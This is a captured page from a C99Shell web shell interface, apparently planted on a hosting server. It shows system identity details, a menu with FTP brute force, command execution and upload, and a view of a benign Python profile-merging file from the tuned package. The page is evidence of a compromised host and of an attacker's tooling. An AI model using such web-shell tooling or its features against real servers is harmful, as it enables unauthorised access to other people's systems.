!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib/python3.6/site-packages/tuned/profiles/   drwxr-xr-x
Free 6182.17 GB of 6263.37 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     merger.py (2.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import collections
from functools import reduce

class Merger(object):
    """
    Tool for merging multiple profiles into one.
    """

    def __init__(self):
        pass

    def merge(self, configs):
        """
        Merge multiple configurations into one. If there are multiple units of the same type, option 'devices'
        is set for each unit with respect to eliminating any duplicate devices.
        """
        merged_config = reduce(self._merge_two, configs)
        return merged_config

    def _merge_two(self, profile_a, profile_b):
        """
        Merge two profiles. The configuration of units with matching names are updated with options
        from the newer profile. If the 'replace' options of the newer unit is 'True', all options from the
        older unit are dropped.
        """

        profile_a.options.update(profile_b.options)

        for unit_name, unit in list(profile_b.units.items()):
            if unit.replace or unit_name not in profile_a.units:
                profile_a.units[unit_name] = unit
            else:
                profile_a.units[unit_name].type = unit.type
                profile_a.units[unit_name].enabled = unit.enabled
                profile_a.units[unit_name].devices = unit.devices
                if unit.devices_udev_regex is not None:
                    profile_a.units[unit_name].devices_udev_regex = unit.devices_udev_regex
                if unit.cpuinfo_regex is not None:
                    profile_a.units[unit_name].cpuinfo_regex = unit.cpuinfo_regex
                if unit.uname_regex is not None:
                    profile_a.units[unit_name].uname_regex = unit.uname_regex
                if unit.script_pre is not None:
                    profile_a.units[unit_name].script_pre = unit.script_pre
                if unit.script_post is not None:
                    profile_a.units[unit_name].script_post = unit.script_post
                if unit.drop is not None:
                    for option in unit.drop:
                        profile_a.units[unit_name].options.pop(option, None)
                    unit.drop = None
                if unit_name == "script" and profile_a.units[unit_name].options.get("script", None) is not None:
                    script = profile_a.units[unit_name].options.get("script", None)
                    profile_a.units[unit_name].options.update(unit.options)
                    profile_a.units[unit_name].options["script"] = script + profile_a.units[unit_name].options["script"]
                else:
                    profile_a.units[unit_name].options.update(unit.options)

        return profile_a

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.011 ]--